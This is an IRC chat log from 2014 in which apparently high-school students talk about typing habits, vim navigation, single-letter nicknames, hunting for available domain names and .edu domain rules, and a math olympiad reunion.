[2014-11-21T17:51:28-0500] <sdamashek> bob_twinkles: @_@
[2014-11-21T17:51:32-0500] <Tamini> you're too lazy to supplement your laziness?
[2014-11-21T17:51:33-0500] <~awe> shift is next to the key you're pressing.
[2014-11-21T17:51:51-0500] <bob_twinkles> if my hand is in home position I'd need to rotate my whole hand
[2014-11-21T17:51:58-0500] <sdamashek> the horror
[2014-11-21T17:52:03-0500] <~awe> Do you actually home row type?
[2014-11-21T17:52:07-0500] <bob_twinkles> and sometimes my fingers get ahead of my pinky and I type something like :!35
[2014-11-21T17:52:09-0500] <bob_twinkles> ...yes
[2014-11-21T17:52:11-0500] <~awe> Interesting.
[2014-11-21T17:52:12-0500] <Tamini> lol
[2014-11-21T17:52:13-0500] <bob_twinkles> you don't?
[2014-11-21T17:52:26-0500] <~awe> No, I put my index fingers on the f and j when I start (or I slide them over it)
[2014-11-21T17:52:31-0500] <~awe> and then I just start typing and moving my hand with the flow of the words.
[2014-11-21T17:52:43-0500] <~awe> I never return my hand to the home row, nor do I ever align my hands over it, really.
[2014-11-21T17:53:04-0500] <bob_twinkles> well in vim navigation is hjkl
[2014-11-21T17:53:15-0500] <bob_twinkles> so my right hand is usually on the home row
[2014-11-21T17:53:18-0500] <~awe> It tends to be the case that my left hand stays primarily over the keyboard, but because of the way a QWERTY keyboard is laid out, my right hand is sort of flipping all over the place anyway.
[2014-11-21T17:53:23-0500] <~awe> Especially because of return and delete.
[2014-11-21T17:53:29-0500] <~awe> Also periods and the right shift.
[2014-11-21T17:53:59-0500] <~awe> I don't see hjkl as much easier for me since my hand is already moving in a way where I may as well just move it down to the trackpad and get more fluid control over scrolling.
[2014-11-21T17:54:06-0500] <bob_twinkles> my hand is large enough that I can type backspace with my ring finger and keep my index finger on j
[2014-11-21T17:54:23-0500] <~awe> That's uhh...
[2014-11-21T17:54:24-0500] <Tamini> ._.
[2014-11-21T17:54:27-0500] <~awe> Not possible for me.
[2014-11-21T17:54:30-0500] <Tamini> how is that humanly possible
[2014-11-21T17:54:32-0500] <~awe> Unless you have a 3/4th size keyboard.
[2014-11-21T17:54:43-0500] <bob_twinkles> Tamini: your hands are literally like half the size of mine
[2014-11-21T17:54:46-0500] <~awe> I especially couldn't do that on my CODE keyboard.
[2014-11-21T17:54:48-0500] <Tamini> how does your hand stretch that way
[2014-11-21T17:54:57-0500] <~awe> I use my pinky to backspace.
[2014-11-21T17:55:00-0500] <Tamini> well yeah, my hand fits in your palm
[2014-11-21T17:55:05-0500] <~awe> Or I move my hand and use my ring finger.
[2014-11-21T17:55:07-0500] <Tamini> we checked this alrrady
[2014-11-21T17:55:07-0500] <nezorg> bob_twinkles: I can reach that too
[2014-11-21T17:55:14-0500] <bob_twinkles> nezorg: *high five*
[2014-11-21T17:55:22-0500] <Tamini> but how do you maneuver that way ._.
[2014-11-21T17:55:25-0500] <~awe> I can reach it, but it's a stretch so as to not be comfortable or reasonably possible.
[2014-11-21T17:55:27-0500] <Tamini> pls demo on tuesday
[2014-11-21T17:55:39-0500] <Tamini> nezorg: ...how big are your hands? >.<
[2014-11-21T17:55:44-0500] <Tamini> youre not even particularly tall
[2014-11-21T17:55:46-0500] <~awe> The idea of rotating my hand as the primary function of my typing isn't a welcome one though.
[2014-11-21T17:55:46-0500] <bob_twinkles> sure if one of us remembers
[2014-11-21T17:55:48-0500] <nezorg> Tamini: idk, not *that* big
[2014-11-21T17:55:50-0500] <~awe> I don't ever rotate my hand when I type.
[2014-11-21T17:55:57-0500] <~awe> I move my arm around. I don't rotate.
[2014-11-21T17:56:02-0500] <bob_twinkles> that doesn't require rotation =P
[2014-11-21T17:56:09-0500] <~awe> It requires some rotation for me.
[2014-11-21T17:56:14-0500] <bob_twinkles> heh
[2014-11-21T17:56:26-0500] <~awe> Maybe that's because I angle my hands inward to begin with though.
[2014-11-21T17:56:44-0500] <bob_twinkles> the other thing is that there's like a numpad and arrow keys between my right hand and my mouse
[2014-11-21T17:56:48-0500] <~awe> But yeah, I mean, I type faster than I can think. So, does it really matter?
[2014-11-21T17:56:57-0500] <~awe> Oh, I hate numpad keyboards.
[2014-11-21T17:56:59-0500] <~awe> I don't have any.
[2014-11-21T17:57:10-0500] <bob_twinkles> I don't, fingers too slow
[2014-11-21T17:57:13-0500] <bob_twinkles> and cold
[2014-11-21T17:57:20-0500] <~awe> Really?
[2014-11-21T17:57:26-0500] <bob_twinkles> I sit next to a glass door
[2014-11-21T17:57:40-0500] <bob_twinkles> and the current external temperature is like maybe 30 degrees f
[2014-11-21T17:57:51-0500] <~awe> I guess I understand the use of vim then.
[2014-11-21T17:58:05-0500] <~awe> If I couldn't type as fast as I could think, I'd certainly favor shortcuts and the like.
[2014-11-21T17:58:19-0500] <Tamini> ...bob_twinkles
[2014-11-21T17:58:26-0500] <Tamini> why not move somewhere warmer
[2014-11-21T17:58:27-0500] <~awe> But especially when I'm programming, I spend way more time thinking than I do typing. So, I have no need to minimize my typing speed.
[2014-11-21T17:58:49-0500] <bob_twinkles> Tamini: because desk is heavy
[2014-11-21T17:58:54-0500] <bob_twinkles> and there isn't really anywhere eles
[2014-11-21T17:58:56-0500] <bob_twinkles> *else
[2014-11-21T17:59:24-0500] <Tamini> why did you think
[2014-11-21T17:59:33-0500] <Tamini> putting your desk next to a glass door was a good idea
[2014-11-21T17:59:56-0500] <bob_twinkles> it was more like
[2014-11-21T18:00:10-0500] <bob_twinkles> mom: "hey we should put this desk here"
[2014-11-21T18:00:16-0500] <~awe> My room's really warm. There's a lot of technology here. My desktop makes a lot of heat. There's a heater in the room. We're on the fourth floor.
[2014-11-21T18:00:17-0500] <bob_twinkles> and that was more or less the end of that
[2014-11-21T18:00:24-0500] <Tamini> lol
[2014-11-21T18:00:34-0500] <~awe> And when I'm not at Uni, we live in Florida now.
[2014-11-21T18:00:38-0500] <~awe> So, there's no cold anywhere.
[2014-11-21T18:00:41-0500] <Tamini> lol
[2014-11-21T18:00:45-0500] <Tamini> but then its hot there
[2014-11-21T18:00:49-0500] <~awe> Not during the winter.
[2014-11-21T18:00:52-0500] <~awe> In the winter, it's awesome.
[2014-11-21T18:03:01-0500] <Tamini> heh, i bet
[2014-11-21T18:03:05-0500] <Tamini> where in florida?
[2014-11-21T18:03:10-0500] <~awe> Fort Myers.
[2014-11-21T18:04:26-0500] <Tamini> hmm
[2014-11-21T18:04:32-0500] <Tamini> north/mid/south?
[2014-11-21T18:05:08-0500] <~awe> Southwest.
[2014-11-21T18:06:40-0500] <Tamini> ah, okay
[2014-11-21T18:08:15-0500] <j> awe: bob_twinkles thanks for the pings :P
[2014-11-21T18:08:17-0500] j is now known as james
[2014-11-21T18:08:29-0500] <james> having j as a nickname probably wasn't a good idea
[2014-11-21T18:08:37-0500] <~awe> This is why you want a three character name.
[2014-11-21T18:08:49-0500] <~awe> It's concise, but long enough that it doesn't accidentally show up.
[2014-11-21T18:08:54-0500] <~awe> be shows up all the time.
[2014-11-21T18:09:01-0500] <~awe> Although, if he did what I did, bed would also still show up.
[2014-11-21T18:09:04-0500] <~awe> Not nearly as much though.
[2014-11-21T18:09:13-0500] <Tamini> wait why did you get pinged with j?
[2014-11-21T18:09:14-0500] <james> hm, to be, or not to be? that is the question
[2014-11-21T18:09:16-0500] <james> Tamini: yes
[2014-11-21T18:09:17-0500] <Tamini> lolol
[2014-11-21T18:09:27-0500] <~awe> Tamini: because hjkl and jjjjjj and all that.
[2014-11-21T18:09:32-0500] <james> bob_twinkles | my hand is large enough that I can type backspace with my ring finger and keep my index finger on j
[2014-11-21T18:09:36-0500] <Tamini> a state of be-ing
[2014-11-21T18:09:38-0500] <Tamini> and oh lolol
[2014-11-21T18:09:44-0500] <james> bob_twinkles: keeping your index finger on me, i see
[2014-11-21T18:10:08-0500] <Tamini> LOL brice is here
[2014-11-21T18:10:11-0500] <~awe> [17:52:26]  <~awe>	No, I put my index fingers on the f and j when I start (or I slide them over it)
[2014-11-21T18:10:21-0500] <~awe> james: I always slide my index finger on you, bb.
[2014-11-21T18:10:21-0500] <Tamini> alokpathy:
[2014-11-21T18:10:58-0500] <james> awe: I'm in awe
[2014-11-21T18:11:10-0500] <~awe> Thankfully, nobody ever really says awe.
[2014-11-21T18:11:12-0500] <alokpathy> Tamini: ?
[2014-11-21T18:11:20-0500] <james> still a word though
[2014-11-21T18:11:23-0500] <~awe> I know.
[2014-11-21T18:11:27-0500] <james> /nick the
[2014-11-21T18:11:40-0500] <james> now *that* would be a fun nick
[2014-11-21T18:11:41-0500] <bob_twinkles> james: it's your own damn fault for having a single character nick =P
[2014-11-21T18:11:43-0500] <~awe> I wish I could get awe.rs, but it's expensive and the RS registrars are shady as hell.
[2014-11-21T18:11:46-0500] LittleBobbyTables is now known as a
[2014-11-21T18:12:17-0500] a is now known as e
[2014-11-21T18:12:21-0500] <+e> e seems better.
[2014-11-21T18:12:23-0500] <~awe> I wonder if there are other available awe domains.
[2014-11-21T18:12:48-0500] <+e> awe.some
[2014-11-21T18:12:51-0500] <+e> ?
[2014-11-21T18:13:02-0500] e is now known as i
[2014-11-21T18:13:06-0500] <james> awe: >awe.rocks
[2014-11-21T18:13:09-0500] <~awe> awe.uk if I was a Brit.
[2014-11-21T18:13:16-0500] <james> https://www.namecheap.com/domains/registration/results.aspx?domain=awe&utm_source=opensearch
[2014-11-21T18:13:44-0500] <+i> Why does everything have cloudflare
[2014-11-21T18:13:50-0500] <~awe> awe.sg is available. 
[2014-11-21T18:13:54-0500] <~awe> james: I'm looking at that right now.
[2014-11-21T18:13:58-0500] <~awe> awe.pe
[2014-11-21T18:14:03-0500] <james> awe.ninja
[2014-11-21T18:14:20-0500] <james> awe.claims
[2014-11-21T18:14:28-0500] <+i> awe isn't a ninja, we can see him.
[2014-11-21T18:14:42-0500] <~awe> i: it's funny because your name is +i which means invisible.
[2014-11-21T18:14:59-0500] <+i> ^_^
[2014-11-21T18:15:02-0500] <~awe> awe.republican lol
[2014-11-21T18:15:10-0500] james is now known as o
[2014-11-21T18:15:17-0500] <~awe> awe.haus
[2014-11-21T18:15:27-0500] <~awe> o: you're not voiced though, so you're not +o.
[2014-11-21T18:15:40-0500] <o> awe: yep, sad, isn't it :(
[2014-11-21T18:15:45-0500] <+i> awe.loans
[2014-11-21T18:15:53-0500] <+i> awe.restaurant
[2014-11-21T18:15:57-0500] <+i> That's a great one.
[2014-11-21T18:16:13-0500] <~awe> awe.democrat is available.
[2014-11-21T18:16:21-0500] <~awe> awe.kiwi lol
[2014-11-21T18:16:25-0500] <~awe> awe.codes
[2014-11-21T18:16:27-0500] <~awe> That's actually not bad.
[2014-11-21T18:16:55-0500] <~awe> Because I do code.
[2014-11-21T18:17:02-0500] <+i> awe.engineering?
[2014-11-21T18:17:47-0500] <~awe> Oh, gross.
[2014-11-21T18:17:53-0500] <~awe> awe.codes is 32 euros/year.
[2014-11-21T18:18:02-0500] <+i> A lot of them are at least 20
[2014-11-21T18:18:24-0500] <~awe> .luxury domains are so expensive.
[2014-11-21T18:18:26-0500] <~awe> 400 euros.
[2014-11-21T18:19:03-0500] <~awe> Hmm, what about awe.pub
[2014-11-21T18:19:11-0500] <~awe> They mean beer-serving establishments
[2014-11-21T18:19:14-0500] <~awe> but I can mean pub as in public
[2014-11-21T18:19:20-0500] <~awe> as in pub struct awe {
[2014-11-21T18:19:27-0500] <JacobEdelman> wait... lbt
[2014-11-21T18:19:29-0500] <JacobEdelman> really?
[2014-11-21T18:19:30-0500] <JacobEdelman> you made
[2014-11-21T18:19:33-0500] <JacobEdelman> your username
[2014-11-21T18:19:34-0500] <JacobEdelman> i?
[2014-11-21T18:19:40-0500] <~awe> Yeah, and james is o.
[2014-11-21T18:19:44-0500] <JacobEdelman> ...
[2014-11-21T18:19:46-0500] <o> gibe voice pls
[2014-11-21T18:19:52-0500] awe sets mode +v o
[2014-11-21T18:19:53-0500] <+i> Is awe.wtf taken
[2014-11-21T18:19:55-0500] <+o> :D
[2014-11-21T18:19:55-0500] <JacobEdelman> ....
[2014-11-21T18:19:56-0500] <~awe> i: yes
[2014-11-21T18:20:00-0500] <JacobEdelman> can I have voice?
[2014-11-21T18:20:01-0500] <+o> world domination achieved.
[2014-11-21T18:20:04-0500] awe kicked JacobEdelman from the channel (Your behavior is not conducive to the desired environment.)
[2014-11-21T18:20:08-0500] JacobEdelman (uid15877@pdgn-dot.9lf.7cuf9e.IP) joined the channel
[2014-11-21T18:20:15-0500] <JacobEdelman> you are such a meany
[2014-11-21T18:20:21-0500] <+i> He hit the wrong button.
[2014-11-21T18:20:23-0500] <~awe> Whoops.
[2014-11-21T18:20:24-0500] <+o> he asked nicely
[2014-11-21T18:20:26-0500] <+o> lol
[2014-11-21T18:20:27-0500] <JacobEdelman> nom he didn't
[2014-11-21T18:20:29-0500] <JacobEdelman> *no
[2014-11-21T18:20:32-0500] <+i> awe.dating
[2014-11-21T18:20:39-0500] <+o> awe: how about awe.sexy?
[2014-11-21T18:20:43-0500] <~awe> o: lolno.
[2014-11-21T18:20:48-0500] <JacobEdelman> awe.xxx
[2014-11-21T18:20:51-0500] <JacobEdelman> :P
[2014-11-21T18:20:52-0500] <~awe> Taken.
[2014-11-21T18:20:57-0500] <+i> Start your own airline, get awe.flights
[2014-11-21T18:21:04-0500] <JacobEdelman> (i wasn't gonna check :P)
[2014-11-21T18:21:17-0500] <+i> awe.sexy isn't taken
[2014-11-21T18:21:23-0500] <~awe> Why would I want awe.sexy though?
[2014-11-21T18:21:32-0500] <+i> Because you're sexy? And awe?
[2014-11-21T18:21:33-0500] <~awe> awe.soy
[2014-11-21T18:21:34-0500] <~awe> lol
[2014-11-21T18:21:56-0500] <+i> awe.uno
[2014-11-21T18:22:06-0500] <+i> awe.systems awe.computer
[2014-11-21T18:22:41-0500] <~awe> I can get awe.rocks for $5 with the GH stuff.
[2014-11-21T18:22:46-0500] <~awe> But I don't like that at all.
[2014-11-21T18:23:24-0500] <~awe> I wish I could get weiss.io
[2014-11-21T18:23:31-0500] <~awe> aaron@weiss.io
[2014-11-21T18:23:35-0500] <~awe> That'd be a sweet email.
[2014-11-21T18:23:43-0500] <+i> What about
[2014-11-21T18:23:48-0500] <+i> aaron@weiss.is.sexy
[2014-11-21T18:24:33-0500] <~awe> I wonder if I could think of a good io domain.
[2014-11-21T18:24:36-0500] <~awe> I like io domains.
[2014-11-21T18:25:14-0500] <+i> weiss.website
[2014-11-21T18:25:19-0500] <+i> 5 a year
[2014-11-21T18:26:12-0500] <+i> What about aaron@weiss.codes?
[2014-11-21T18:26:42-0500] <+i> 40 a year though
[2014-11-21T18:26:55-0500] <~awe> Yeah, I'd rather awe.codes if I was going to pay that anyway.
[2014-11-21T18:27:14-0500] <+i> I was thinking of the email
[2014-11-21T18:27:52-0500] <~awe> aaronweiss.io is available.
[2014-11-21T18:27:59-0500] <JacobEdelman> you should buy jacobedelman2.com
[2014-11-21T18:28:07-0500] <~awe> But that's no better than aaronweiss.us really.
[2014-11-21T18:28:10-0500] <JacobEdelman> cause its almost as amazing as jacobedelman.com
[2014-11-21T18:28:29-0500] <~awe> Which is a namecheap parked domain.
[2014-11-21T18:28:34-0500] <~awe> You should put *something* up.
[2014-11-21T18:28:44-0500] <~awe> http://lib.rs
[2014-11-21T18:28:49-0500] <+i> Hey o
[2014-11-21T18:29:02-0500] <+i> I just realized our names spell io.
[2014-11-21T18:29:09-0500] <+i> Wisp is a fun hero.
[2014-11-21T18:29:11-0500] <~awe> Anyway, let's stop getting distracted by domains right now because I need to actually write this essay.
[2014-11-21T18:29:18-0500] <nezorg> awe: I can get awe.rocks for $5 with the GH stuff.
[2014-11-21T18:29:19-0500] <+i> I hate this name.
[2014-11-21T18:29:20-0500] <~awe> I've only written the intro thus far.
[2014-11-21T18:29:21-0500] <nezorg> awe: what GH stuff?
[2014-11-21T18:29:30-0500] <~awe> https://education.github.com/pack/offers
[2014-11-21T18:29:30-0500] <+i> Do you have a student email?
[2014-11-21T18:29:33-0500] <+i> .edu email
[2014-11-21T18:29:35-0500] <~awe> i: don't need one
[2014-11-21T18:29:40-0500] <+i> It's easiest that way.
[2014-11-21T18:29:41-0500] <nezorg> awe: the only one I see there related to domains is the free .me
[2014-11-21T18:29:44-0500] <~awe> yeah
[2014-11-21T18:29:46-0500] <~awe> but if you do that
[2014-11-21T18:29:55-0500] <~awe> you'll see that you can also get some domains discounted
[2014-11-21T18:29:58-0500] <nezorg> ah
[2014-11-21T18:29:59-0500] <~awe> io is like half the cost
[2014-11-21T18:30:03-0500] <~awe> .rocks is $5.
[2014-11-21T18:30:05-0500] <nezorg> ooh, nice
[2014-11-21T18:30:15-0500] <~awe> I'd rather use it for those since .me is kind of suck, anyway.
[2014-11-21T18:30:22-0500] <~awe> Unless you've got a domain hack ending in me.
[2014-11-21T18:30:26-0500] <+i> Hmmm.
[2014-11-21T18:30:37-0500] <+i> How long did you have to wait before getting your "You're approved" email back?
[2014-11-21T18:30:50-0500] <nezorg> .website lol
[2014-11-21T18:30:55-0500] <~awe> http://b.io
[2014-11-21T18:31:07-0500] <~awe> I wanted this domain for a while.
[2014-11-21T18:31:23-0500] <~awe> I wanted to make a context-based, privacy-centric social network named b.io.
[2014-11-21T18:31:39-0500] <Tamini> lolol
[2014-11-21T18:31:58-0500] <nezorg> I want nezorg.sexy :'(
[2014-11-21T18:31:58-0500] <Tamini> not be.io?
[2014-11-21T18:32:06-0500] <+i> bio is cooler.
[2014-11-21T18:32:10-0500] <+i> nezorg: is it taken?
[2014-11-21T18:32:13-0500] <nezorg> i: no
[2014-11-21T18:32:20-0500] <+i> How much is it
[2014-11-21T18:32:25-0500] <nezorg> 25 bucks or something
[2014-11-21T18:32:31-0500] <nezorg> not worth that much though
[2014-11-21T18:32:42-0500] <+i> Yeah
[2014-11-21T18:32:59-0500] <nezorg> oh, 16.88
[2014-11-21T18:33:00-0500] <nezorg> still
[2014-11-21T18:33:09-0500] <+i> A year, though.
[2014-11-21T18:33:16-0500] <+i> That's like, an hour of work
[2014-11-21T18:33:25-0500] <nezorg> still
[2014-11-21T18:33:37-0500] <~awe> I have a friend who has like
[2014-11-21T18:33:40-0500] <~awe> 8 io domains.
[2014-11-21T18:33:46-0500] <nezorg> those are expensive :C
[2014-11-21T18:33:49-0500] <~awe> Several of which are three character.
[2014-11-21T18:33:58-0500] <+i> Are they decent three character?
[2014-11-21T18:34:05-0500] <~awe> gld.io as in guild
[2014-11-21T18:34:11-0500] <~awe> mlr.io as in major league robotics
[2014-11-21T18:34:16-0500] <~awe> neither of these sites have finished things on them.
[2014-11-21T18:34:35-0500] <+i> I should learn full ZBLL
[2014-11-21T18:34:36-0500] <JacobEdelman> i considered jde.io
[2014-11-21T18:34:37-0500] <~awe> I don't know his other ones, but I know he has more.
[2014-11-21T18:34:39-0500] <JacobEdelman> but decided it wasn
[2014-11-21T18:34:43-0500] <JacobEdelman> worht the cash
[2014-11-21T18:34:46-0500] <~awe> JacobEdelman: but the discount!
[2014-11-21T18:34:52-0500] <JacobEdelman> what discount?
[2014-11-21T18:34:54-0500] <JacobEdelman> and how much
[2014-11-21T18:35:00-0500] <~awe> It'd be $25/year
[2014-11-21T18:35:10-0500] <JacobEdelman> oooooh, that is tempting
[2014-11-21T18:35:13-0500] <JacobEdelman> very tempting
[2014-11-21T18:35:19-0500] <+i> I signed up for the GH thing like two weeks ago.
[2014-11-21T18:35:19-0500] <JacobEdelman> how long does this discount last?
[2014-11-21T18:35:26-0500] <+i> Haven't received an email back.
[2014-11-21T18:35:50-0500] <~awe> http://sym.link
[2014-11-21T18:35:55-0500] <~awe> I'm sad that this domain isn't used for anything cool.
[2014-11-21T18:36:01-0500] <~awe> JacobEdelman: unno.
[2014-11-21T18:36:07-0500] <~awe> JacobEdelman: it's the GitHub education pack.
[2014-11-21T18:36:10-0500] <JacobEdelman> ahhh
[2014-11-21T18:36:12-0500] <JacobEdelman> oh
[2014-11-21T18:36:19-0500] <JacobEdelman> I'll think about it
[2014-11-21T18:36:27-0500] <JacobEdelman> hmmm
[2014-11-21T18:36:27-0500] <~awe> ajw.io is taken.
[2014-11-21T18:36:30-0500] <~awe> awe.io is taken.
[2014-11-21T18:36:30-0500] <~awe> :(
[2014-11-21T18:36:44-0500] <JacobEdelman> can hscs.io apply for a .edu domain?
[2014-11-21T18:36:44-0500] <+i> What's your middle name?
[2014-11-21T18:36:46-0500] <+i> James?
[2014-11-21T18:36:54-0500] <JacobEdelman> joshua
[2014-11-21T18:36:55-0500] <JacobEdelman> I think
[2014-11-21T18:36:56-0500] <JacobEdelman> cause
[2014-11-21T18:37:02-0500] <JacobEdelman> sterotypical jew :P
[2014-11-21T18:37:03-0500] <~awe> expires: 2014-11-22 06:09:18
[2014-11-21T18:37:09-0500] <~awe> JacobEdelman: that's Aaron Berger.
[2014-11-21T18:37:13-0500] <JacobEdelman> oh yeah
[2014-11-21T18:37:17-0500] <JacobEdelman> he broke the pattern
[2014-11-21T18:37:22-0500] <JacobEdelman> it was supposed ot be jacob
[2014-11-21T18:37:22-0500] <nezorg> huh, to buy all the domains on namecheap’s “new
[2014-11-21T18:37:27-0500] <+i> What is it, awe
[2014-11-21T18:37:28-0500] <sdamashek> JacobEdelman: nope
[2014-11-21T18:37:33-0500] <nezorg> “ tab for a particular thing would be $15000
[2014-11-21T18:37:35-0500] <~awe> awe.io is apparently going to expire tomorrow.
[2014-11-21T18:37:36-0500] <sdamashek> .edu domains are post-secondary only
[2014-11-21T18:37:40-0500] <JacobEdelman> (sammies middle name is ezra and ikes is ben.... or the toher way around, I forget)
[2014-11-21T18:37:41-0500] <~awe> sdamashek: that's not true.
[2014-11-21T18:37:44-0500] <sdamashek> awe: it is
[2014-11-21T18:37:46-0500] <JacobEdelman> awe: get it!!
[2014-11-21T18:37:50-0500] <sdamashek> other domains were grandfathered
[2014-11-21T18:37:53-0500] <+i> I had a .edu email in middle school
[2014-11-21T18:37:54-0500] <sdamashek> but that's the current policy
[2014-11-21T18:37:55-0500] <+i> :/
[2014-11-21T18:38:02-0500] <~awe> Hm, okay.
[2014-11-21T18:38:05-0500] <nezorg> I have one from city college
[2014-11-21T18:38:21-0500] <+i> I have one from middle school, high school, and college.
[2014-11-21T18:38:24-0500] <+i> All are different.
[2014-11-21T18:38:26-0500] <sdamashek> and even then, you need to be an accredited postsecondary institution (iirc US only also)
[2014-11-21T18:38:49-0500] <sdamashek> yeah, my HS has a .edu domain because they registered it in 1992, so does my school district
[2014-11-21T18:38:57-0500] <sdamashek> the policy change is fairily recent iirc
[2014-11-21T18:39:04-0500] <~awe> Yeah, 2001.
[2014-11-21T18:39:21-0500] <~awe> It's for US post-secondary schools.
[2014-11-21T18:39:59-0500] <~awe> The funniest thing is that there are those free edu email services.
[2014-11-21T18:40:40-0500] <sdamashek> mhm
[2014-11-21T18:40:44-0500] <JacobEdelman> james: you gonna bet at pumac?
[2014-11-21T18:40:44-0500] <+o> yay .edu email!
[2014-11-21T18:40:48-0500] <+o> it helps so much
[2014-11-21T18:41:04-0500] <Tamini> JacobEdelman: naw
[2014-11-21T18:41:05-0500] o is now known as james
[2014-11-21T18:41:10-0500] <nezorg> awe: most of those are blocked nowadays
[2014-11-21T18:41:18-0500] <Tamini> JacobEdelman: brice is here
[2014-11-21T18:41:24-0500] <~awe> nezorg: Yeah, because there's only  afinite number of them.
[2014-11-21T18:41:28-0500] <Tamini> there's a mop reu going on behind me
[2014-11-21T18:41:29-0500] <Tamini> help
[2014-11-21T18:41:31-0500] <JacobEdelman> where?
[2014-11-21T18:41:33-0500] <JacobEdelman> wait 
[2014-11-21T18:41:35-0500] <JacobEdelman> literally there
[2014-11-21T18:41:35-0500] <nezorg> mop reu?
[2014-11-21T18:41:42-0500] <+james> you can go through some colleges' alumni sites to get free edu emails
[2014-11-21T18:41:51-0500] <JacobEdelman> why is brice there? its a formal mop reunion?
[2014-11-21T18:41:57-0500] <Tamini> uhh yeah
[2014-11-21T18:42:03-0500] <Tamini> michael came to dinner with us
[2014-11-21T18:42:03-0500] <JacobEdelman> mop rue: reunion for the math olympaid camp thing
[2014-11-21T18:42:07-0500] <JacobEdelman> wow
[2014-11-21T18:42:09-0500] <nezorg> huh
[2014-11-21T18:42:11-0500] <JacobEdelman> so, brice is right there
[2014-11-21T18:42:14-0500] <Tamini> then now the table behind is is 5 strange moppers not from tj
[2014-11-21T18:42:15-0500] <Tamini> yes
[2014-11-21T18:42:16-0500] <JacobEdelman> bug him to go on the irc more
[2014-11-21T18:42:21-0500] <JacobEdelman> also bug chris
[2014-11-21T18:42:22-0500] <JacobEdelman> if hes there
[2014-11-21T18:42:24-0500] <Tamini> i dont actually know him
[2014-11-21T18:42:25-0500] <Tamini> uhhh
[2014-11-21T18:42:33-0500] <Tamini> OH THATS WHO CHRIS IS
[2014-11-21T18:42:47-0500] <Tamini> i've never seen him before.
[2014-11-21T18:43:14-0500] <Tamini> nezorg: it's uhh
[2014-11-21T18:43:14-0500] <Tamini> for math olympiad kids
[2014-11-21T18:43:20-0500] <Tamini> best math kids in the country and whatnot
[2014-11-21T18:43:40-0500] <~awe> I hope this guy doesn't renew awe.io
[2014-11-21T18:43:45-0500] <~awe> Then I can grab it.
[2014-11-21T18:44:19-0500] <JacobEdelman> Tamini: get brice now
[2014-11-21T18:44:21-0500] <JacobEdelman> and tell him
[2014-11-21T18:44:26-0500] <JacobEdelman> too go on the irc more
[2014-11-21T18:44:27-0500] <JacobEdelman> also tell
[2014-11-21T18:44:29-0500] <JacobEdelman> chris
[2014-11-21T18:44:31-0500] • nezorg: makes sure to register awe.io as soon as it’s available
[2014-11-21T18:44:32-0500] <JacobEdelman> that jacob is awesome
[2014-11-21T18:44:35-0500] <JacobEdelman> and for bonus points
[2014-11-21T18:44:41-0500] <JacobEdelman> tell them your a big fan of amgm
[2014-11-21T18:44:42-0500] <~awe> nezorg: I'd trust that you'd let me use it though.
[2014-11-21T18:44:45-0500] <~awe> nezorg: so, that works too.
[2014-11-21T18:44:49-0500] <nezorg> awe: ehhhh
[2014-11-21T18:44:50-0500] <nezorg> :P
[2014-11-21T18:45:02-0500] <JacobEdelman> (tell chris your a big fan of his amgm song, I wanna know what his reaction is)
[2014-11-21T18:45:03-0500] <~awe> It expires in like twelve hours.
[2014-11-21T18:45:11-0500] <~awe> Unless the dude has it set to renew?
[2014-11-21T18:45:19-0500] <~awe> But I don't know how Gandi.net does renewals.
[2014-11-21T18:45:20-0500] <JacobEdelman> Tamini: do it!
[2014-11-21T18:45:30-0500] <JacobEdelman> awe: non-violentely 
[2014-11-21T18:45:57-0500] <~awe> I think most providers tend to file a new registration in advance of the expiration, not just before it.
[2014-11-21T18:46:23-0500] <~awe> And this domain has never been renewed by this guy before.
[2014-11-21T18:46:28-0500] <JacobEdelman> Tamini!
[2014-11-21T18:46:29-0500] <~awe> So, here's to hoping.
[2014-11-21T18:46:30-0500] <JacobEdelman> (tell chris your a big fan of his amgm song, I wanna know what his reaction is)
[2014-11-21T18:46:45-0500] <nezorg> …amgm song?
[2014-11-21T18:47:00-0500] <nezorg> that sounds like a horrible inequality to sing
[2014-11-21T18:47:07-0500] <Tamini> JacobEdelman: i dont think he knows who i am
[2014-11-21T18:47:15-0500] <JacobEdelman> thats what makes it funny
[2014-11-21T18:47:17-0500] <Tamini> lolol
[2014-11-21T18:47:17-0500] <JacobEdelman> do it!
[2014-11-21T18:47:24-0500] <Tamini> no pls
[2014-11-21T18:47:28-0500] <JacobEdelman> I'll show you a super cool book in labryth books if you do
[2014-11-21T18:47:30-0500] <JacobEdelman> come on
[2014-11-21T18:47:39-0500] <JacobEdelman> please ???
[2014-11-21T18:48:54-0500] <Tamini> maybe later
[2014-11-21T18:49:01-0500] <JacobEdelman> (amgm stands for arthmitic mean, geometric mean,  (and the theorem about them or whatever), they made a song on it for the Arml(I think, or was it hmmt?) song contest)
[2014-11-21T18:49:07-0500] <~awe> there's .university domains?
[2014-11-21T18:49:13-0500] <~awe> Guys, let's get jacobisafart.university
[2014-11-21T18:49:21-0500] <alokpathy> Tamini: WWP ARML made a song for the ARML song contest that went like
[2014-11-21T18:49:28-0500] <alokpathy> It's fun to bash things with AMGM~~
[2014-11-21T18:49:32-0500] <alokpathy> in the tune of YMCA
[2014-11-21T18:49:45-0500] <Tamini> lololol
[2014-11-21T18:49:46-0500] <Tamini> wait
[2014-11-21T18:49:49-0500] <Tamini> i remember this
[2014-11-21T18:49:55-0500] <JacobEdelman> alokpathy: I'm trying to get tamini to tell chris she is a big fan of his amgm song
[2014-11-21T18:49:56-0500] <JacobEdelman> what???
[2014-11-21T18:49:59-0500] <JacobEdelman> you were there?
[2014-11-21T18:50:01-0500] <JacobEdelman> I'm jealous
[2014-11-21T18:50:06-0500] <Tamini> arml
[2014-11-21T18:50:07-0500] <Tamini> lol
[2014-11-21T18:50:07-0500] <alokpathy> JacobEdelman: I was not
[2014-11-21T18:50:12-0500] <alokpathy> I just know what happened
[2014-11-21T18:50:12-0500] <JacobEdelman> neither was I
[2014-11-21T18:50:15-0500] <JacobEdelman> but tamini was?
[2014-11-21T18:50:18-0500] <alokpathy> Oh
[2014-11-21T18:50:20-0500] <alokpathy> yeah she probably was
[2014-11-21T18:50:35-0500] <alokpathy> I kinda forgot to go to tryouts last year LOL
[2014-11-21T18:51:03-0500] <alokpathy> Tryouts were on Saturday, but I was busy Saturday
[2014-11-21T18:51:14-0500] <alokpathy> so I asked Brice if there'll be a makeup and he made one on Monday
[2014-11-21T18:51:17-0500] <alokpathy> but I forgot to go to that
[2014-11-21T18:51:22-0500] <JacobEdelman> wow
[2014-11-21T18:51:23-0500] <JacobEdelman> fail
[2014-11-21T18:51:25-0500] <JacobEdelman> FAIL
[2014-11-21T18:51:25-0500] <JacobEdelman> now
